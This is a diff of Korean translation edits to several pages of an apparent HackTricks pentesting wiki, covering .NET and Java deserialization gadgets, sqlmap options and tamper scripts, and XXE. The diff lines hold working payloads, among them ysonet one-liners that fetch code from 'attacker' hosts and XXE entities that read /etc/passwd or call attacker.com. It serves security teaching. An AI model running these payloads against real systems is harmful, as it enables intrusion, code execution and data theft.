[공식 웹 페이지](https://www.newtonsoft.com/json)에서는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 해준다고** 명시하고 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화할 수 있다면**, 객체를 역직렬화하는 것만으로 **RCE**를 유발할 수 있습니다.
|
||||
[공식 웹 페이지](https://www.newtonsoft.com/json)에서는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 한다**고 명시되어 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화**할 수 있다면, 객체를 역직렬화하는 것만으로 **RCE**를 유발할 수 있습니다.
|
||||
|
||||
### Json.Net 예제
|
||||
|
||||
@ -193,10 +193,10 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
| 가젯 체인 | 주요 아이디어 / 원시 | 일반 직렬화기 | YSoNet 원라이너 |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` 레코드를 손상시켜, 일단 구체화되면 델리게이트가 *임의의* 공격자가 제공한 메서드(예: `Process.Start`)를 가리키도록 함 | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 *.NET ≥4.8 타입 필터링을 우회*하고 제공된 클래스의 **생성자**를 직접 호출하거나 C# 파일을 즉석에서 **컴파일**함 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet`의 **구식 XML** 표현을 활용하여 `<ColumnMapping>` / `<DataType>` 필드를 채워 임의의 타입을 인스턴스화함 (선택적으로 `--spoofedAssembly`로 어셈블리를 위조) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF 지원 런타임에서 (> .NET 5) 속성 getter를 체인하여 `System.CodeDom.Compiler.CompilerResults`에 도달한 후, `-c`로 제공된 DLL을 *컴파일*하거나 *로드*함 | `Json.NET` 타입 없음, `MessagePack` 타입 없음 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (검토) | WPF `System.Windows.Data.ObjectDataProvider`를 사용하여 제어된 인수로 임의의 정적 메서드를 호출함. YSoNet은 악성 XAML을 원격으로 호스팅하기 위해 편리한 `--xamlurl` 변형을 추가함 | `BinaryFormatter`, `Json.NET`, `XAML`, *기타* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 *.NET ≥4.8 유형 필터링을 우회*하고 제공된 클래스의 **생성자**를 직접 호출하거나 C# 파일을 즉석에서 **컴파일**함 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet`의 **구식 XML** 표현을 활용하여 `<ColumnMapping>` / `<DataType>` 필드를 채워 임의의 유형을 인스턴스화함 (선택적으로 `--spoofedAssembly`로 어셈블리를 위조) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF 지원 런타임에서 (> .NET 5) 속성 getter를 체인하여 `System.CodeDom.Compiler.CompilerResults`에 도달한 후, `-c`로 제공된 DLL을 *컴파일*하거나 *로드*함 | `Json.NET` 비유형, `MessagePack` 비유형 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (검토) | WPF `System.Windows.Data.ObjectDataProvider`를 사용하여 제어된 인수로 임의의 정적 메서드를 호출함. YSoNet은 악성 XAML을 원격으로 호스팅하기 위한 편리한 `--xamlurl` 변형을 추가함 | `BinaryFormatter`, `Json.NET`, `XAML`, *기타* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject`에 `ScriptBlock`을 포함시켜 PowerShell이 객체를 역직렬화할 때 실행됨 | PowerShell 원격, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
|
@ -102,7 +102,7 @@ payloadTest("test.ser");
|
||||
|
||||
* 2023 – CVE-2023-34040: `checkDeserExWhen*` 플래그가 활성화된 상태에서 Spring-Kafka의 오류 레코드 헤더 역직렬화로 인해 공격자가 게시한 주제로부터 임의의 가젯 구성이 가능해졌습니다. 3.0.10 / 2.9.11에서 수정됨. ¹
|
||||
* 2023 – CVE-2023-36480: Aerospike Java 클라이언트의 신뢰할 수 있는 서버 가정이 깨짐 – 악의적인 서버 응답에 클라이언트에 의해 역직렬화된 직렬화된 페이로드가 포함됨 → RCE. ²
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` 사용자 프로필 속성 파싱이 `{#sb64}`로 접두사가 붙은 Base64 블롭을 수용하고 `RestrictedObjectInputStream`에도 불구하고 이를 역직렬화했습니다. 4.0.0 이상으로 업그레이드하십시오.
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` 사용자 프로필 속성 파싱이 `{#sb64}` 접두사가 붙은 Base64 블롭을 수용하고 `RestrictedObjectInputStream`에도 불구하고 이를 역직렬화했습니다. 4.0.0 이상으로 업그레이드하십시오.
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (포트 10880)가 XML 인코딩된 Java 객체를 수용하여 root/SYSTEM으로 RCE를 초래했습니다.
|
||||
* 2024 – Hibernate5, TomcatEmbed 및 SnakeYAML 2.x 클래스를 포함한 여러 새로운 가젯 체인이 ysoserial-plus(mod)에 추가되어 일부 오래된 필터를 우회합니다.
|
||||
|
||||
@ -119,13 +119,13 @@ payloadTest("test.ser");
|
||||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) 컨텍스트 특정 필터 팩토리** – `BinaryOperator<ObjectInputFilter>`를 사용하여 실행 컨텍스트(예: RMI 호출당, 메시지 큐 소비자당)마다 다른 필터를 적용합니다.
|
||||
2. **JEP 415 (Java 17+) 컨텍스트별 필터 팩토리** – `BinaryOperator<ObjectInputFilter>`를 사용하여 실행 컨텍스트(예: RMI 호출당, 메시지 큐 소비자당)마다 다른 필터를 적용합니다.
|
||||
3. **원시 `ObjectInputStream`을 네트워크에 노출하지 마십시오** – 코드 실행 의미가 없는 JSON/이진 인코딩을 선호하십시오 (Jackson에서 `DefaultTyping` 비활성화 후, Protobuf, Avro 등).
|
||||
4. **심층 방어 한계** – 최대 배열 길이, 깊이, 참조 설정:
|
||||
```bash
|
||||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||||
```
|
||||
5. **지속적인 가젯 스캐닝** – CI에서 `gadget-inspector` 또는 `serialpwn-cli`와 같은 도구를 실행하여 위험한 가젯이 접근 가능해지면 빌드를 실패하게 합니다.
|
||||
5. **지속적인 가젯 스캐닝** – `gadget-inspector` 또는 `serialpwn-cli`와 같은 도구를 CI에서 실행하여 위험한 가젯이 접근 가능해지면 빌드를 실패하게 합니다.
|
||||
|
||||
## 업데이트된 도구 치트 시트 (2024)
|
||||
|
||||
@ -133,7 +133,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```bash
|
||||
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
```
|
||||
* `marshalsec` – JNDI 가젯 생성을 위한 여전히 참고 자료 (LDAP/RMI).
|
||||
* `marshalsec` – JNDI 가젯 생성을 위한 여전히 참조되는 도구 (LDAP/RMI).
|
||||
* `gadget-probe` – 네트워크 서비스에 대한 빠른 블랙박스 가젯 발견.
|
||||
* `SerialSniffer` – `ObjectInputStream`에 의해 읽힌 모든 클래스를 출력하는 JVMTI 에이전트 (필터를 작성하는 데 유용).
|
||||
* **탐지 팁** – 필터 결정 및 거부된 클래스를 기록하기 위해 `-Djdk.serialDebug=true` (JDK 22+)를 활성화하십시오.
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQLmap을 위한 기본 인자
|
||||
## SQLmap의 기본 인자
|
||||
|
||||
### 일반
|
||||
### 일반적인
|
||||
```bash
|
||||
-u "<URL>"
|
||||
-p "<PARAM TO TEST>"
|
||||
@ -32,7 +32,7 @@
|
||||
| U | UNION query | 동일한 채널을 통해 데이터를 가져오기 위해 `UNION SELECT` 문을 주입합니다 |
|
||||
| S | Stacked queries | `;`로 구분된 추가 문을 추가합니다 |
|
||||
| T | Time-based blind | 인젝션을 감지하기 위해 지연(`SLEEP`, `WAITFOR`)에 의존합니다 |
|
||||
| Q | Inline / out-of-band | `LOAD_FILE()`와 같은 함수 또는 DNS와 같은 OOB 채널을 사용합니다 |
|
||||
| Q | Inline / out-of-band | `LOAD_FILE()`와 같은 함수나 DNS와 같은 OOB 채널을 사용합니다 |
|
||||
|
||||
기본 순서는 `BEUSTQ`입니다. 이를 재배열하거나 제한할 수 있습니다. 예를 들어, Boolean과 Time-based만 그 순서대로:
|
||||
```bash
|
||||
@ -122,7 +122,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### Help finding boolean injection
|
||||
### boolean injection 찾기 도움말
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
@ -140,41 +140,41 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. |
|
||||
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. |
|
||||
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
|
||||
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
|
||||
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
|
||||
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
|
||||
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "%u0022" |
|
||||
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "\u0022" |
|
||||
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
|
||||
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" |
|
||||
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" |
|
||||
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
|
||||
| escapequotes.py | 따옴표(')와 큰따옴표(")를 슬래시로 이스케이프합니다. |
|
||||
| escapequotes.py | 슬래시로 아포스트로피(')와 큰따옴표(")를 이스케이프합니다. |
|
||||
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
|
||||
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
|
||||
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
|
||||
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
|
||||
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다 (예: .replace("SELECT", "") 필터). |
|
||||
| percentage.py | 각 문자 앞에 퍼센트 기호('%')를 추가합니다. |
|
||||
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). |
|
||||
| percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. |
|
||||
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음). |
|
||||
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. |
|
||||
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
|
||||
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
|
||||
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. |
|
||||
| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
||||
| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
||||
| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
||||
| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
||||
| space2mssqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| space2mssqlhash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다. |
|
||||
| space2mysqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| space2mysqldash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다. |
|
||||
| space2mysqldash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다. |
|
||||
| space2plus.py | 공백 문자(' ')를 더하기 기호('+')로 대체합니다. |
|
||||
| space2randomblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자로 대체합니다 (&& 및 |
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응물로 대체합니다(&& 및 |
|
||||
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
|
||||
| unmagicquotes.py | 따옴표 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
|
||||
| unmagicquotes.py | 인용 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해). |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. |
|
||||
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
|
||||
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## SQLmap을 위한 기본 인수
|
||||
## SQLmap을 위한 기본 인자
|
||||
|
||||
### 일반
|
||||
```bash
|
||||
@ -25,7 +25,7 @@
|
||||
```
|
||||
### Technique flags (`--technique`)
|
||||
|
||||
`--technique` 옵션을 사용하면 sqlmap이 테스트할 SQL 인젝션 기술을 제한하거나 재정렬할 수 있습니다. 각 문자는 다른 페이로드 클래스에 해당합니다:
|
||||
`--technique` 옵션을 사용하면 sqlmap이 테스트할 SQL 인젝션 기술을 제한하거나 재정렬할 수 있습니다. 각 문자는 다른 종류의 페이로드에 해당합니다:
|
||||
|
||||
| Letter | Technique | Description |
|
||||
| ------ | --------- | ----------- |
|
||||
@ -99,11 +99,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```
|
||||
### 탐지 기술 추가
|
||||
|
||||
SQLi를 발견했지만 sqlmap이 이를 감지하지 못한 경우, `--prefix` 또는 `--suffix`와 같은 인수를 사용하여 탐지 기술을 강제로 적용할 수 있습니다. 더 복잡한 경우에는 `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`와 같은 sqlmap에서 사용하는 페이로드에 추가할 수 있습니다.
|
||||
SQLi를 발견했지만 sqlmap이 이를 감지하지 못한 경우, `--prefix` 또는 `--suffix`와 같은 인수를 사용하여 탐지 기술을 강제로 적용할 수 있습니다. 또는 더 복잡한 경우, 예를 들어 시간 기반 블라인드 공격을 위해 `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`에 sqlmap이 사용하는 페이로드에 추가할 수 있습니다.
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap**은 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 처리할 수 있도록 합니다. 이를 통해 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있습니다. 다음 예제에서 **flask cookie session** **은 전송되기 전에 알려진 비밀로 flask에 의해 서명됩니다**:
|
||||
**Sqlmap**은 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 처리할 수 있도록 합니다. 이는 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있게 해줍니다. 다음 예제에서 **flask cookie session** **은 전송되기 전에 알려진 비밀로 flask에 의해 서명됩니다**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -147,7 +147,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### boolean injection 찾기 도움
|
||||
### boolean injection 찾기 도움말
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
@ -179,16 +179,16 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
|
||||
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
|
||||
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
|
||||
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
|
||||
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
|
||||
| modsecurityversioned.py | 버전이 있는 주석으로 전체 쿼리를 감쌉니다. |
|
||||
| modsecurityzeroversioned.py | 제로 버전 주석으로 전체 쿼리를 감쌉니다. |
|
||||
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). |
|
||||
| percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. |
|
||||
| percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. |
|
||||
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음). |
|
||||
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. |
|
||||
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
|
||||
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
|
||||
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
|
||||
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
|
||||
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. |
|
||||
| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
||||
| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
||||
@ -202,7 +202,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응물(&& 및 ||)로 대체합니다. |
|
||||
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
|
||||
| unmagicquotes.py | 따옴표 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해). |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 'INSERT'로 대체합니다. |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. |
|
||||
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
|
||||
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
|
@ -7,10 +7,10 @@
|
||||
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, AJAX 기술에서의 초기 역할은 여전히 중요합니다.
|
||||
|
||||
- **데이터 표현을 위한 엔티티**: XML의 엔티티는 `<` 및 `>`와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<` 및 `>`에 해당합니다.
|
||||
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있게 하여 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
|
||||
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있으며, 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
|
||||
- **문서 유형 정의 (DTD)**: DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합으로 존재할 수 있으며, 문서의 형식과 유효성을 안내합니다.
|
||||
- **사용자 정의 및 외부 엔티티**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 XML 외부 엔티티(XXE) 공격의 맥락에서 보안 문제를 일으키며, 이는 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **매개변수 엔티티를 통한 XXE 탐지**: 특히 파서 보안 조치로 인해 기존 방법이 실패할 때, XML 매개변수 엔티티를 활용하여 XXE 취약점을 탐지할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 유발하는 등의 비대칭 탐지 기술을 허용하여 취약성을 확인합니다.
|
||||
- **사용자 정의 및 외부 엔티티**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 보안 문제를 일으킬 수 있으며, 특히 XML 외부 엔티티(XXE) 공격의 맥락에서 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **매개변수 엔티티를 통한 XXE 탐지**: XXE 취약점을 탐지하기 위해, 특히 파서 보안 조치로 인해 기존 방법이 실패할 때 XML 매개변수 엔티티를 활용할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 트리거하는 등의 비대면 탐지 기술을 허용하여 취약성을 확인합니다.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -33,7 +33,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
|
||||
|
||||
### 파일 읽기
|
||||
|
||||
다양한 방법으로 `/etc/passwd`를 읽어보겠습니다. Windows에서는 `C:\windows\system32\drivers\etc\hosts`를 읽어보세요.
|
||||
다양한 방법으로 `/etc/passwd`를 읽어보겠습니다. Windows에서는 `C:\windows\system32\drivers\etc\hosts`를 읽어볼 수 있습니다.
|
||||
|
||||
첫 번째 경우에서 SYSTEM "_**file:///**etc/passwd_"도 작동한다는 점에 유의하세요.
|
||||
```xml
|
||||
@ -49,7 +49,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
이 세 번째 경우에서 `Element stockCheck`를 ANY로 선언하고 있음을 주목하세요.
|
||||
이 세 번째 경우에서 우리는 `Element stockCheck`를 ANY로 선언하고 있음을 주목하세요.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -65,7 +65,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
|
||||
|
||||
### 디렉토리 목록
|
||||
|
||||
**Java** 기반 애플리케이션에서는 XXE를 통해 **디렉토리의 내용을 나열하는 것**이 가능할 수 있습니다. 페이로드는 다음과 같이 (파일 대신 디렉토리를 요청하는 형태로):
|
||||
**Java** 기반 애플리케이션에서는 XXE를 통해 **디렉토리의 내용을 나열**할 수 있는 가능성이 있으며, 다음과 같은 페이로드를 사용할 수 있습니다 (파일 대신 디렉토리를 요청하는 경우):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -91,9 +91,9 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrate data out-of-band
|
||||
|
||||
**이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송하게 할 것입니다 (다중 행 파일의 경우 \_ftp://**\_를 통해 전송을 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
|
||||
**이번 경우에는 서버가 HTTP 요청을 통해 파일의 내용을 전송하는 악성 페이로드가 포함된 새로운 DTD를 로드하도록 만들 것입니다 (다중 행 파일의 경우 \_ftp://**\_를 통해 탈출을 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
|
||||
|
||||
주어진 악성 DTD에서는 데이터를 유출하기 위해 일련의 단계가 수행됩니다:
|
||||
